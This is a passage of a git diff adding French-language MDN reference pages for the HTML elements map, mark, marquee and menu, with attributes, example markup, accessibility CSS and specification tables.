+<p>{{Compat("html.elements.main")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<div>
+<ul>
+ <li>Les éléments qui permettent de structurer un document HTML
+  <ul>
+   <li>{{HTMLElement("html")}}</li>
+   <li>{{HTMLElement("head")}}</li>
+   <li>{{HTMLElement("body")}}</li>
+  </ul>
+ </li>
+ <li>Les éléments liés au plan d'un document HTML :
+  <ul>
+   <li>{{HTMLElement("article")}}</li>
+   <li>{{HTMLElement("aside")}}</li>
+   <li>{{HTMLElement("footer")}}</li>
+   <li>{{HTMLElement("header")}}</li>
+   <li>{{HTMLElement("nav")}}</li>
+  </ul>
+ </li>
+</ul>
+</div>
diff --git a/files/fr/web/html/element/map/index.html b/files/fr/web/html/element/map/index.html
new file mode 100644
index 0000000000..8bbb1e21b7
--- /dev/null
+++ b/files/fr/web/html/element/map/index.html
@@ -0,0 +1,116 @@
+---
+title: <map>
+slug: Web/HTML/Element/map
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/map
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML<strong> <code>&lt;map&gt;</code></strong> est utilisé avec des éléments {{HTMLElement("area")}} afin de définir une image cliquable divisée en régions.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/map.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Cet attribut fournit un nom afin que la carte cliquable puisse être référencée. Cet attribut est obligatoire et sa valeur doit être une chaîne de caractères non-vide qui ne contient pas de blancs. La valeur de cet attribut doit être unique pour tous les éléments {{HTMLElement("map")}} du document. Si l'attribut universel <code>id</code> est utilisé, <code>name</code> devra avoir la même valeur que celui-ci.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, la partie gauche est un lien vers une page et la partie droite est inactive.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;map name="exemple-map-1"&gt;
+  &lt;area shape="rect" coords="0,0 200,200" href="https://developer.mozilla.org" target="_blank" /&gt;
+  &lt;area shape="default" /&gt;
+&lt;/map&gt;
+&lt;img usemap="#exemple-map-1" src="https://mdn.mozillademos.org/files/14546/map.png"&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","450","230")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Tout élément dont <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Mod%C3%A8le_de_contenu_transparent">le modèle de contenu est transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">du contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLMapElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-map-element', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-map-element', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.map")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("a")}}</li>
+ <li>{{HTMLElement("area")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/mark/index.html b/files/fr/web/html/element/mark/index.html
new file mode 100644
index 0000000000..a7bde22383
--- /dev/null
+++ b/files/fr/web/html/element/mark/index.html
@@ -0,0 +1,159 @@
+---
+title: '<mark> : l''élément de marquage du texte'
+slug: Web/HTML/Element/mark
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/mark
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;mark&gt;</code></strong> représente un texte marqué ou surligné à cause de sa pertinence dans le contexte. Il peut par exemple être utilisé afin d'indiquer les correspondances d'un mot-clé recherché au sein d'un document.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/mark.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<ul>
+ <li>Au sein d'une citation ({{HTMLElement("q")}}) ou dans un autre bloc ({{HTMLElement("blockquote")}}), le texte surligné marque généralement du texte référencé en dehors de la citation  ou qui est indiqué pour demander une attention particulière bien que l'auteur ne considère pas ce texte comme important.</li>
+ <li>Au sein du texte principal, le texte surligné marque du texte d'une pertinence partiulière pour l'utilisateur (par exemple lorsqu'il recherche un terme en particulier).</li>
+ <li><code>&lt;mark&gt;</code> ne doit pas être utilisé pour de la coloration syntaxique, c'est l'élément {{HTMLElement("span")}} qui devra être utilisé.</li>
+ <li><code>&lt;mark&gt;</code> ne doit pas être confondu avec {{HTMLElement("strong")}}. L'élément {{HTMLElement("strong")}} est utilisé afin d'indiquer des fragments de texte <em>importants</em> alors que <code>&lt;mark&gt;</code> est utilisé afin d'indiquer des fragments de texte <em>pertinents</em>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  L'élément &amp;lt;mark&amp;gt; est utilisé pour
+  &lt;mark&gt;mettre en avant&lt;/mark&gt;
+  du texte pertinent dans le contexte.
+&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","100%","100%")}}</p>
+
+<h3 id="Identifier_des_passages">Identifier des passages</h3>
+
+<p>Dans cet exemple, on utilise <code>&lt;mark&gt;</code> pour marquer les résultats d'une recherche dans un passage.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;It is a dark time for the Rebellion. Although the Death
+Star has been destroyed, &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+troops have driven the Rebel forces from their hidden base and
+pursued them across the galaxy.&lt;/p&gt;
+
+&lt;p&gt;Evading the dreaded &lt;mark class="match"&gt;Imperial&lt;/mark&gt;
+Starfleet, a group of freedom fighters led by Luke Skywalker
+has established a new secret base on the remote ice world of
+Hoth.&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Identifier_des_passages", 650, 130)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Par défaut, la plupart des outils d'assistance n'annoncent pas la présence de l'élément <code>mark</code>. On peut le rendre annonçable via la propriété CSS {{cssxref("content")}} et grâce aux pseudo-éléments {{cssxref("::before")}} et {{cssxref("::after")}}.</p>
+
+<pre>mark::before,
+mark::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+mark::before {
+  content: " [Début du marquage]";
+}
+
+mark::after {
+  content: " [Fin du marquage] ";
+}
+</pre>
+
+<p>Certaines personnes qui utilisent des lecteurs d'écran désactivent sciemment ces annonces pour éviter une verbosité trop importante. Il est donc important de ne pas abuser de cette technique et de ne l'appliquer qu'à des situations où il est nécessaire de comprendre que du contenu a été marqué.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/"><em>Short note on making your mark (more accessible) | The Paciello Group</em> (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html"><em>Tweaking Text Level Styles | Adrian Roselli</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">du contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-mark-element','&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.mark")}}</p>
diff --git a/files/fr/web/html/element/marquee/index.html b/files/fr/web/html/element/marquee/index.html
new file mode 100644
index 0000000000..db5495237a
--- /dev/null
+++ b/files/fr/web/html/element/marquee/index.html
@@ -0,0 +1,127 @@
+---
+title: '<marquee> : l''élément de fronton (obsolète)'
+slug: Web/HTML/Element/marquee
+tags:
+  - Element
+  - HTML
+  - Non-standard
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/marquee
+---
+<div>{{HTMLRef}}{{non-standard_header}}{{obsolete_header}}</div>
+
+<p>L'élément HTML <strong><code>&lt;marquee&gt;</code></strong> est utilisé pour insérer une zone de texte défilant.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{htmlattrdef("behavior")}}</dt>
+ <dd>Définit comment le texte defile à l'intérieur du <code>&lt;marquee&gt;</code>. Les valeurs possibles sont <code>scroll</code>, <code>slide</code> et <code>alternate</code>. Si aucune valeur n'est spécifiée, la valeur par défaut est <code>scroll</code>.</dd>
+ <dt>{{htmlattrdef("bgcolor")}}</dt>
+ <dd>Définit la couleur de fond en utilisant le nom de la couleur ou son code hexadécimal.</dd>
+ <dt>{{htmlattrdef("direction")}}</dt>
+ <dd>Définit la direction du défilement dans le <code>&lt;marquee&gt;</code>. Les valeurs possibles sont <code>left</code>, <code>right</code>, <code>up</code> et <code>down</code>. SI aucune valeur n'est spécifiée, la valeur par défaut est <code>left</code>.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Définit la hauteur en pixels ou en pourcentage.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>Définit la marge horizontale.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Définit le nombre de fois que le marquee va faire défiler le texte. Si aucune valeur n'est spécifiée, la valeur par défaut est <code>-1</code>, ce qui signifie que le marquee va défiler indéfiniment.</dd>
+ <dt>{{htmlattrdef("scrollamount")}}</dt>
+ <dd>Définit la quantité de défilement de chaque défilement en pixels. La valeur par défaut est <code>6</code>.</dd>
+ <dt>{{htmlattrdef("scrolldelay")}}</dt>
+ <dd>Définit l'intervalle entre chaque défilement en millisecondes. La valeur par défaut est <code>85</code>. Notez que toute valeur inférieure à 60 sera ignorée et 60 sera utilisé à la place, à moins que<code> truespeed </code>ne soit spécifié.</dd>
+ <dt>{{htmlattrdef("truespeed")}}</dt>
+ <dd>Par défaut, les valeurs de <code>scrolldelay</code> inférieures à 60 sont ignorées. <code>Si truespeed </code>est présent, ces valeurs ne seront pas ignorées.</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>Définit la marge verticale en pixel ou en pourcentage.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Définit la largeur en pixel en ou pourcentage.</dd>
+</dl>
+
+<h2 id="Gestionnaire_d’évènements">Gestionnaire d’évènements</h2>
+
+<dl>
+ <dt>{{htmlattrdef("onbounce")}}</dt>
+ <dd>Se déclenche quand le <code>&lt;marquee&gt;</code> arrive à la fin de son défilement. Il peut seulement se déclencher quand <code>behavior</code> est mis à <code>alternate</code>.</dd>
+ <dt>{{htmlattrdef("onfinish")}}</dt>
+ <dd>Se déclenche quand le <code>&lt;marquee&gt;</code> arrive à la fin de tous ses défilements tels que définis par l'attribut <code>loop</code>. Il peut seulement se déclencher quand le nombre de défilements est supérieur à 0.</dd>
+ <dt>{{htmlattrdef("onstart")}}</dt>
+ <dd>Se déclenche quand le <code>&lt;marquee&gt;</code> commence à défiler.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt><code>start()</code></dt>
+ <dd>Commence à faire défiler le marquee.</dd>
+ <dt><code>stop()</code></dt>
+ <dd>Arrête de faire défiler le marquee.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;marquee&gt;ʕノ•ᴥ•ʔノ ︵ ┻━┻&lt;/marquee&gt;
+
+&lt;marquee direction="up"&gt;Ce texte va défiler de bas en haut&lt;/marquee&gt;
+
+&lt;marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"&gt;
+  &lt;marquee behavior="alternate"&gt;
+    Ce texte va rebondir
+  &lt;/marquee&gt;
+&lt;/marquee&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 600, 450)}}</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{DOMxRef("HTMLMarqueeElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'obsolete.html#the-marquee-element-2', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Rendu obsolète afin d'être remplacé par CSS. Définition du comportement attendu à des fins de rétrocompatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'obsolete.html#the-marquee-element-0', '&lt;marquee&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Rendu obsolète afin d'être remplacé par CSS. Définition du comportement attendu à des fins de rétrocompatibilité.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.marquee")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{DOMxRef("HTMLMarqueeElement")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/menu/index.html b/files/fr/web/html/element/menu/index.html
new file mode 100644
index 0000000000..60c43d4196
--- /dev/null
+++ b/files/fr/web/html/element/menu/index.html
@@ -0,0 +1,217 @@
+---
+title: <menu>
+slug: Web/HTML/Element/menu
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/menu
+---
+<div>{{HTMLRef}}{{SeeCompatTable}}</div>
+
+<p>L'élément HTML <strong><code>&lt;menu&gt;</code></strong> représente un groupe de commandes que l'utilisateur peut utiliser ou activer. Il peut être utilisé afin de créer des menus (affichés en haut d'un écran par exemple) et des menus contextuels (qui apparaissent au clic-droit ou après avoir cliqué sur un bouton).</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les autres éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur <code>&lt;menu&gt;</code>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("label")}} {{Deprecated_inline}}</dt>
+ <dd>Le nom du menu qui est affiché pour l'utilisateur. Lorsque cet attribut est utilisé dans un menu imbriqué, c'est le nom affiché pour le sous-menu. Cet attribut doit uniquement être utilisé lorsque l'élément parent est un élément {{HTMLElement("menu")}}.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Cet attribut indique le type de menu qui est déclaré. C'est un attribut à valeur contrainte qui peut prendre l'une des valeurs suivantes :
+ <ul>
+  <li><code>context</code> {{Deprecated_inline}} : Cette valeur indique que le menu est dans un état de popup et qu'il contient des commandes relatives à un autre élément. Ce menu peut être référencé via l'attribut {{htmlattrxref("menu", "button")}} d'un élément {{HTMLElement("button")}} ou via l'attribut <a href="/fr/docs/Web/HTML/Attributs_universels#attr-contextmenu"><code>contextmenu</code></a> d'un élément. Cette valeur est la valeur par défaut de l'attribut lorsque l'élément parent est également un élément <code>&lt;menu&gt;</code>.</li>
+  <li><code>toolbar</code> : Cette valeur indique que le menu est une barre d'outils qui contient différentes commandes disponibles. Ces commandes peuvent être construites avec plusieurs éléments {{HTMLElement("li")}} ou avec du contenu de flux qui décrit les commandes disponibles. Cette valeur est la valeur par défaut de l'attribut.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>Les éléments {{HTMLElement("menu")}} et {{HTMLElement("ul")}} représentent tous les deux une liste non-ordonnées d'éléments. {{HTMLElement("ul")}} doit être utilisés pour des éléments qui doivent uniquement être affichés alors que {{HTMLElement("menu")}} est conçu pour des éléments interactifs.</li>
+ <li><strong>Un menu contextuel</strong> se compose d'un élément <code>&lt;menu&gt;</code> qui contient des éléments {{HTMLElement("menuitem")}} dont chacun représente une option sélectionnable dans le menu. D'autres éléments <code>&lt;menu&gt;</code> peuvent être imbriqués afin de créer des sous-menus et l'élément {{HTMLElement("hr")}} peut être utilisé afin d'ajouter des séparateurs. Les menus contextuels sont associés à un élément d'u document au travers de son attribut {{htmlattrxref("contextmenu")}}. Lorsqu'il s'agit d'un bouton de menu, c'est l'attribut {{htmlattrxref("menu", "button")}} de {{HTMLElement("button")}} qui décrit ce lien.</li>
+ <li><strong>Les menus de barre d'outils </strong>se composent d'un élément <code>&lt;menu&gt;</code> dont le contenu est décrit avec des éléments {{HTMLElement("li")}} qui forment une liste non-ordonnée ou avec du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> qui décrit les commandes et les options disponibles.</li>
+ <li>Cet élément a été déprécié en HTML4 mais fut réintroduit dans la spécification HTML5.1 et dans le standard évolutif HTML.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Menu_contextuelDeprecated_inline">Menu contextuel{{Deprecated_inline}}</h3>
+
+<p>{{Deprecated_header}}</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!-- Un élément &lt;div&gt; avec un menu contextuel --&gt;
+&lt;div contextmenu="popup-menu"&gt;
+  Vous pouvez effectuer un clic-droit pour voir le menu.
+&lt;/div&gt;
+
+&lt;menu type="context" id="popup-menu"&gt;
+  &lt;menuitem&gt;Action&lt;/menuitem&gt;
+  &lt;menuitem&gt;Une autre action&lt;/menuitem&gt;
+  &lt;hr&gt;
+  &lt;menuitem&gt;Une action après un séparateur&lt;/menuitem&gt;
+&lt;/menu&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+  width: 300px;
+  height: 80px;
+  background-color: lightgreen;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Menu_contextuel', '100%', '80')}}</p>
+
+<h3 id="Bouton_de_menu">Bouton de menu</h3>
+
+<div class="warning">
+<p><strong>Attention :</strong> Les boutons de menu n'ont pas encore été implémentés dans les navigateurs et {{HTMLElement("menuitem")}} est désormais obsolète.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;!-- Un bouton qui affiche un menu lorsqu'on clique dessus. --&gt;
+&lt;button type="menu" menu="popup-menu"&gt;
+  Dérouler
+&lt;/button&gt;
+
+&lt;menu type="context" id="popup-menu"&gt;
+  &lt;menuitem&gt;Action&lt;/menuitem&gt;
+  &lt;menuitem&gt;Une autre action&lt;/menuitem&gt;
+  &lt;hr&gt;
+  &lt;menuitem&gt;Une action après un séparateur&lt;/menuitem&gt;
+&lt;/menu&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Bouton_de_menu', '100%', '50')}}</p>
+
+<h3 id="Barre_d’outils_experimental_inline">Barre d’outils {{experimental_inline}}</h3>
+
+<div class="warning">
+<p><strong>Attention : </strong>Les menus sous forme de barres d'outils n'ont pas encore été implémentés dans les navigateurs.</p>
+</div>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;!-- Un menu pour un éditeur basique
+     avec deux boutons de menu. --&gt;
+&lt;menu type="toolbar"&gt;
+  &lt;li&gt;
+    &lt;button type="menu" menu="file-menu"&gt;Fichier&lt;/button&gt;
+    &lt;menu type="context" id="file-menu"&gt;
+      &lt;menuitem label="Nouveau" onclick="newFile()"&gt;
+      &lt;menuitem label="Enregistrer" onclick="saveFile()"&gt;
+    &lt;/menu&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;button type="menu" menu="edit-menu"&gt;Éditer&lt;/button&gt;
+    &lt;menu type="context" id="edit-menu"&gt;
+      &lt;menuitem label="Couper" onclick="cutEdit()"&gt;
+      &lt;menuitem label="Copier" onclick="copyEdit()"&gt;
+      &lt;menuitem label="Coller" onclick="pasteEdit()"&gt;
+    &lt;/menu&gt;
+  &lt;/li&gt;
+&lt;/menu&gt;
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Barre_d’outils", '100%', '100')}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a> et <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a> si le menu est une liste (l'état par défaut, sauf si l'élément parent est lui-même un élément <code>&lt;menu&gt;</code> auquel cas le menu est dans un état contextuel).</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Si le menu est une liste : du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a> ou zéro ou plusieurs éléments {{HTMLElement("li")}}, {{HTMLElement("script")}} et {{HTMLElement("template")}}.<br>
+    Si le menu est dans un menu contextuel : zéro ou plusieurs éléments {{HTMLElement("menu")}}, {{HTMLElement("menuitem")}}, {{HTMLElement("hr")}}, {{HTMLElement("script")}} et {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLMenuElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "grouping-content.html#the-menu-element", "&lt;menu&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Aucune modification depuis la dernière dérivation, {{SpecName("HTML5.3")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.3", "grouping-content.html#the-menu-element", "&lt;menu&gt;")}}</td>
+   <td>{{Spec2("HTML5.3")}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "grouping-content.html#the-menu-element", "&lt;menu&gt;")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Dérivation {{SpecName("HTML WHATWG")}}, suppression du type <code>context</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "interactive-elements.html#the-menu-element", "&lt;menu&gt;")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Dérivation de {{SpecName("HTML WHATWG")}}, définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.menu")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux listes :
+  <ul>
+   <li>{{HTMLElement("ol")}}</li>
+   <li>{{HTMLElement("ul")}}</li>
+   <li>{{HTMLElement("li")}}</li>
+   <li>{{HTMLElement("hr")}}</li>
+   <li>{{HTMLElement("dir")}} {{obsolete_inline}}</li>
+  </ul>
+ </li>
